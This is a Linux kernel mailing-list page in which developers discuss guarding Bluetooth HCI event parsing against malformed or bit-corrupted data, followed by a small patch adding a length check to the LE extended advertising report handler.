Keep in mind that when using the H4 uart protocol without any error
correction (as H5 has), it is possible that random bit errors occur on
the wire. I wouldn't like my kernel to crash due to this. Bit errors
happen all the time on RPi 4 for example at the default baud rate if
you just do some heavy stress testing, or use an application that
transfers a lot of data over Bluetooth.

/Emil
Luiz Augusto von Dentz March 22, 2021, 6:03 a.m. UTC | #3 
Hi Emil,

On Sun, Mar 21, 2021 at 4:23 PM Emil Lenngren <emil.lenngren@gmail.com> wrote:
>
> Hi,
>
> Den mån 22 mars 2021 kl 00:01 skrev Luiz Augusto von Dentz
> <luiz.dentz@gmail.com>:
> > Or we do something like
> > https://lore.kernel.org/linux-bluetooth/20201024002251.1389267-1-luiz.dentz@gmail.com/,
> > that said the reason we didn't applied my patches was that the
> > controller would be the one generating invalid data, but it seems you
> > are reproducing with vhci controller which is only used for emulating
> > a controller and requires root privileges so it is unlikely these
> > conditions would happens with hardware itself, in the other hand as
> > there seems to be more and more reports using vhci to emulate broken
> > events it perhaps more productive to introduce proper checks for all
> > events so we don't have to deal with more reports like this in the
> > future.
>
> Keep in mind that when using the H4 uart protocol without any error
> correction (as H5 has), it is possible that random bit errors occur on
> the wire. I wouldn't like my kernel to crash due to this. Bit errors
> happen all the time on RPi 4 for example at the default baud rate if
> you just do some heavy stress testing, or use an application that
> transfers a lot of data over Bluetooth.

While we can catch some errors like that, and possible avoid crashes,
this should be limited to just boundary checks and not actually error
correction, that I'm afraid is out of our hands since we can still
receive an event that does match the original packet size but meant
something else which may break the synchronization of the states
between the controller and the host, also perhaps we need to notify
this type of error since even if we start discarding the events that
can possible cause states to be out of sync and the controller will
need to be reset in order to recover.
diff mbox series

Patch

--- a/net/bluetooth/hci_event.c
+++ b/net/bluetooth/hci_event.c
@@ -5685,10 +5685,14 @@  static void hci_le_ext_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb)
 {
        u8 num_reports = skb->data[0];
        void *ptr = &skb->data[1];
+       u32 len_processed = 0;

        hci_dev_lock(hdev);

        while (num_reports--) {
+               if (len_processed > skb->len)
+                       break;
+
                struct hci_ev_le_ext_adv_report *ev = ptr;
                u8 legacy_evt_type;
                u16 evt_type;
@@ -5703,6 +5707,7 @@  static void hci_le_ext_adv_report_evt(struct hci_dev *hdev, struct sk_buff *skb)
                }

                ptr += sizeof(*ev) + ev->length;
+               len_processed += sizeof(*ev) + ev->length;
        }

        hci_dev_unlock(hdev);